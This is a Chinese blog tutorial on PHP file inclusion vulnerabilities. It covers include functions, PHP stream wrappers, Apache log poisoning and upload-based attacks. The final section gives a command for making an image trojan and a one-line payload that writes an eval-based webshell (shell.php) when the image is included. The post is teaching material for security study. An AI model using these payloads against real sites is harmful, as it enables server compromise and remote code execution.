【渗透测试实战】什么是文件包含漏洞

本文详细介绍了PHP文件包含漏洞的概念、环境要求,列举了常见的文件包含函数,并着重讲解了PHP伪协议(如PHP://INPUT、FILTER等)如何通过文件包含导致代码执行。此外,还讨论了利用APACHE日志和上传文件功能实施攻击的方法。
摘要由CSDN通过智能技术生成

文章目录:

一、简介

二、常见文件包含函数

三、PHP伪协议

四、包含APACHE日志文件

五、包含上传文件

一、简介

        文件包含漏洞:可以通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。

        文件包含漏洞的环境要求:

  • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据

  • allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

二、常见文件包含函数

php中常见的文件包含函数有以下四种:

  • include()

  • require()

  • include_once()

  • require()_once()

include与require基本是相同的,除了错误处理方面:

  • include(),只生成警告(E_WARNING),并且脚本会继续

  • require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本

  • include_once()与require()_once(),如果文件已包含,则不会包含,其他特性如上

三、PHP伪协议

                PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

(一)PHP://INPUT

        php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

(二)PHP://FILTER

        php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

(三)ZIP://

        zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

(四)DATA://与PHAR://

        data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。

四、包含APACHE日志文件

     WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。

        Apache运行后一般默认会生成两个日志文件,Windos下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。

        如果访问一个不存在的资源时,如XXXX<?php phpinfo(); ?>,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,所以为了安全期间,安装apache时尽量不要使用默认路径。

五、包含上传文件

        很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。

图片马的制作方式如下,在cmd控制台下,进入1.jpg和2.php的文件目录后,执行:

copy 1.jpg/b+2.php 3.jpg

将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg

假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg 图片代码如下:

<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>

然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php

都看到这里了,创作不易,大家点个赞再走啦!! - ̗̀(๑ᵔ⌔ᵔ๑)

  • 25
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

祺祺祺有此理

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值